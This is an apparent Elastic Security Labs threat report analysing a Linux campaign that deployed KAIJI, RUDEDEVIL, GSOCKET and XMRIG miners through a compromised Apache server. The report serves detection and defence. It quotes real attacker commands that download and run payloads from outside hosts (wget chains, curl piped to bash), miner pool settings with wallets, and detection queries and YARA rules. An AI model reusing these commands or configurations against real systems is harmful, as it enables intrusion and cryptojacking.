In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.

The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.

Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.

This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.

Execution flow

Initial access

Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the id command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the www-data user account.

Shortly after the Kaiji deployment, the attacker used the www-data account to download a script named 00.sh from the URL http://61.160.194[.]160:35130, which, after further investigation, also hosted several versions of RUDEDEVIL malware.

00.sh is a stager that:

• Sets its default shell and PATH.
• Deletes several log files to erase traces of execution.
• Leverages ps, netstat, lsof and a list of common mining process names to kill any potential mining competition on the compromised host.
• Flushes the iptables rules on the host, sets several iptables rules to block connections to specific destination ports and mining pools, and disables iptables.
• Finally, a second stage (sss6/sss68) is downloaded and executed, and execution traces are erased.

The figure below shows a compressed version of the stager. Lines annotated with [...] are shortened to enhance readability.

Fileserver

Via the backdoored web server process, the attacker downloaded and executed malware through the following command:

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

The l64 and l86 files are downloaded from http://107.178.101[.]245:5488, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:

This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the download.sh file that was uploaded September 10th, was already downloaded 3,100 times.

RUDEDEVIL/LUCIFER

Upon closer inspection, the file sss6, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

We note that the files l64 and l86 that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:

• Daemon Initialization: The process is converted into a daemon using daemon(1, 0).
• Socket Creation: A socket is created and bound to a specific port.
• Signal Handling: Custom signal handlers are set up for various signals.
• Service Initialization: Several services are started using SetFILE.
• Privilege Handling: It checks for root privileges and adjusts resource limits accordingly.
• Decryption: The malware decrypts its configuration blobs.
• Thread Creation: Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.
• Main Loop: The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.

When examining the encryption routine, we find it utilizes XOR-based encoding:

To decode the contents statically, we developed a basic Python snippet:

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

After decoding the configuration, the following values are revealed:

• The first value C2 domain nishabii[.]xyz.
• The second value reveals options that will be passed to XMRIG.
• The third value shows the temp file location the malware uses.
• The fourth and last string shows the download location for the XMRIG binary.

Thread Management in the Malware

The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.

Understanding the KillPid Function

One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.

At the heart of its functionality is an array called sb_name, which contains the names of processes the malware wants to terminate.

Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called getPidByName. After each iteration, it moves to the next process in the list, ensuring all processes in sb_name are handled.

Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.

Understanding the Get_Net_Messages Function

Another crucial thread is responsible for monitoring network traffic, specifically focusing on the eth0 network interface. This functionality is handled by the getOutRates function. The function begins by setting up necessary variables and opening the /proc/net/dev file, which contains detailed network statistics for each interface.

If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the eth0 interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for eth0; otherwise, it returns 0, ensuring the malware continues functioning even if an error occurs.

This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.

Understanding the Get_Cpu_Message Function

For CPU monitoring, the malware uses the GetCpuRates function. This function continuously monitors the CPU usage by reading data from /proc/stat. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.

The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.

Understanding the Send_Host_Message Function

Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The _SendInfo function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.

Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.

In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.

Connecting to the Command-and-Control (C2) Server

Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the ConnectServer function in the main thread, which handles communication with the server and executes commands remotely.

Understanding the ConnectServer Function

The first task the ConnectServer function performs is establishing a connection to the C2 server using ServerConnectCli. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.

Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.

After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.

When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.

Command-and-Control (C2) Commands

The ConnectServer function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:

• Case 4: The malware calls the DealwithDDoS function, likely initiating a Distributed Denial of Service (DDoS) attack.
• Case 5: Sets the StopFlag to 1, which could signal the malware to stop specific tasks.
• Case 6: Downloads a file from the server using http_get, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.
• Case 7: Executes a system command using the system function, providing the attackers with direct control over the system’s command line.
• Case 8: Sets StopCpu to 0, restarting any previously halted CPU tasks.
• Case 9: Sets StopCpu to 1, halting all CPU tasks.
• Case 0xA: Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.
• Case 0xB: Sets stopxmr to 1, effectively stopping the XMRIG miner.
• Case 0xC: Resets stopxmr to 0 and retrieves the current process PID, resuming the mining activity.

Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.

Variants of RUDEDEVIL Malware and XMRIG Configuration

While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.

Each version of the malware was configured to connect to the same mining pool, c3pool.org, but with slight differences in the parameters passed to the XMRIG miner:

• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the c3pool application, we confirmed that both XMR addresses associated with these commands are currently active and mining.

Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.

GSOCKET

To establish persistence, the threat actor downloaded and installed GSOCKET, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.

Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.

Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:

It then creates the /dev/shm/.gs-1000 directory to download and store its binary in shared memory. Additionally, by default, it sets up an /htop directory under /home/user/.config/htop/ to store both the GSOCKET binary and the secret key used for its operations.

Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.

The binary is executed under the name of a kernel process using the exec -a [process_name] command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:

When decoding the payload, we see how the defunct.dat secret key is used as an argument to execute the defunct binary, which is masqueraded as [raid5wq] through the use of exec -a command:

In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (rc.local) and Systemd. GSOCKET enumerates potential persistence locations:

GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:

Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:

These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.

Additionally, a PHP payload was fetched from an external IP and saved as 404.php, likely functioning as a backdoor for future access. We did not manage to obtain this payload.

Post compromise dwell time

After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.

After regaining access to the host, a newer version of the KAIJI malware was deployed.

KAIJI malware: a comparison to previous samples

While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.

The same Shell script is found in other reports where this script is used to deploy KAIJI.

As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of Chaos (KAIJI) can be found in their blog post here.

Using BinDiff, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.

Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.

Delving deeper into the disassembly, we identified a function named main_Link. This function is responsible for decoding the C2 server address used by the malware.

Once decoded, the function searches for the |(odk)/*- postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.

Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.

After execution, KAIJI creates several files in the /etc/ and /dev/ directories, /etc/id.services.conf, /etc/32678, /dev/.img and /dev/.old. These scripts are places to establish persistence.

Two services are set up, /etc/init.d/linux_kill and crond.service. crond.service is executed by Systemd, while linux_kill is used for SysVinit persistence.

After reloading the Systemd daemon, the first network connection to the C2 is attempted.

Next, the Systemd Late generator service file is created. More information on the workings of Systemd, and different ways of establishing persistence through this method can be found in our recent blog series dubbed Linux Detection Engineering - A primer on persistence mechanisms.

KAIJI creates the /boot/System.img.config file, which is an executable that is executed through the previously deployed Systemd services. This binary, is amongst other binaries, another way of establishing persistence.

Next, KAIJI adjusts the SELinux policies to allow unauthorized actions. It searches audit logs for denied operations related to System.img.conf, generates a new SELinux policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.

Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; /usr/lib/libd1rpcld.so and /.img.

Right after, /etc/crontab is altered through an echo command, ensuring that the /.img file is executed by root on a set schedule.

KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.

KAIJI uses the renice command to grant PID 2957, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.

To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.

Finally, we see a trace of cron executing the /.img, which was planted in the /etc/crontab file earlier.

The saga continues

Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the www-data user through the Apache2 process using the command:

sh -c wget http://91.92.241[.]103:8002/gk.php

The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying pspy64. Pspy is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities​.

Notably, pspy64 was executed by the [rcu_preempt] parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.

Further attempts at privilege escalation involved exploiting CVE-2021-4034, also known as pwnkit. This vulnerability affects the pkexec component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.

Custom built binaries

Right after, the attackers attempted to download a custom-built malware named apache2 and apache2v86 from:

• http://62.72.22[.]91/apache2
• http://62.72.22[.]91/apache2v86

We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.

While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.

The XOR key used to encode the strings was identified as 0x79 (or the character y). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.

Additional reconnaissance

The attackers continued to use tools from The Hacker’s Choice, by downloading and executing whatserver.sh.

This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.

Mining activities

After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the www-data user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called [mm_percpu_wq].

After decoding the base64 contents, we get a very familiar looking output:

Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.

This command tries to download http://gcp.pagaelrescate[.]com:8080/ifindyou every minute, and pipe it to bash. Looking at the contents of ifindyou, we see the following Bash script:

This script gathers hostname and IP information, downloads the SystemdXC archive from http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG), stores this in /tmp/SystemdXC, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.

When examining the mining command, we can see how the malware configures XMRIG:

This command connects to the unmineable.com mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz.

Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.

Interestingly, the output address for this transaction points to a well-known hot wallet associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.

When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

Looking at this payload, we can see the following contents:

This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:

The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.

Upon closer examination, we identified the following key components of the script:

Global Variables:

• usuario: Stores the user ID for managing the session.
• apuesta: Represents the bet amount.
• ganancias: Tracks the winnings and losses.
• saldo_actual: Holds the current account balance.

Understanding the obteneruid Function

This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.

Understanding the enviardatos Function

This function sends game data or status updates back to gcp.pagaelrescate[.]com, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.

Understanding the hacerjugada Function

The hacerjugada function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls completarbono() to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.

Understanding the completarbono Function

When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the enviardatos() function.

Likely Used for Testing Purposes

It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.

REF6138 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:

MITRE ATT&CK tactics, techniques and sub-techniques used

Detecting REF6138

Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.

Detection

The following detection rules were observed throughout the analysis of this intrusion set:

• Segfault Detection
• Timestomping using Touch Command
• Shell Configuration Creation or Modification
• System Binary Moved or Copied

Prevention

The following behavior prevention events were observed throughout the analysis of this intrusion set:

• Linux Reverse Shell via Suspicious Utility
• Defense Evasion via Bind Mount
• Linux Suspicious Child Process Execution via Interactive Shell
• Potential Linux Hack Tool Launched
• Privilege Escalation via PKEXEC Exploitation
• Potential SSH-IT SSH Worm Downloaded
• Scheduled Job Executing Binary in Unusual Location

The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:

• Linux.Generic.Threat
• Linux.Hacktool.Flooder

The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:

• Potential Shell via Web Server
• Potential Web Server Code Injection
• Potential Shell Executed by Web Server User
• Decode Activity via Web Server
• Linux Telegram API Request
• Suspicious Echo Execution

Hunting queries in Elastic

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:

Potential XMRIG Execution

The following EQL query can be used to hunt for XMRIG executions within your environment.

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

MSR Write Access Enabled

XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

Potential GSOCKET Activity

This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Potential Process Masquerading via Exec

GSOCKET leverages the exec -a method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Renice or Ulimit Execution

Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

Inexistent Cron(d) Service Started

Both KAIJI and RUDEDEVIL establish persistence through the creation of a cron(d) service in /etc/init.d/cron(d). Cron, by default, does not use a SysV Init service. Execution of a cron(d) service is suspicious, and should be analyzed further.

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

Suspicious /etc/ Process Execution from KAIJI

The /etc/ directory is not a commonly used directory for process executions. KAIJI is known to place a binary called 32678 and id.services.conf in the /etc/ directory, to establish persistence and evade detection.

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

Hidden File Creation in /dev/ directory

Creating hidden files in /dev/ and /dev/shm/ are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as K4SPREADER are known to drop hidden files in these locations.

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

Suspicious Process Execution from Parent Executable in /boot/

Malwares such as KAIJI and XORDDOS are known to place executable files in the /boot/ directory, and leverage these to establish persistence while attempting to evade detection.

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom Apache2 malware:

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/es/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

To detect GSOCKET, including several of its adjacent tools, we created the following signature:

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/es/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

Finally, the following signature was written to detect the open source Ligolo-ng tool, as we have reason to believe this tool was used during this intrusion.

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/es/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

Defensive recommendations

To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:

1. Keep Your Elastic Detection Rules Updated and Enabled: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.
2. Enable Prevention Mode in Elastic Defend: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.
3. Monitor Alerts and Logs: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.
4. Conduct Threat Hunting: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.
5. Implement Web Application Firewalls (WAFs): Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.
6. Enforce Strong Authentication for SSH: Use public/private key authentication for SSH access to protect against brute force attacks.
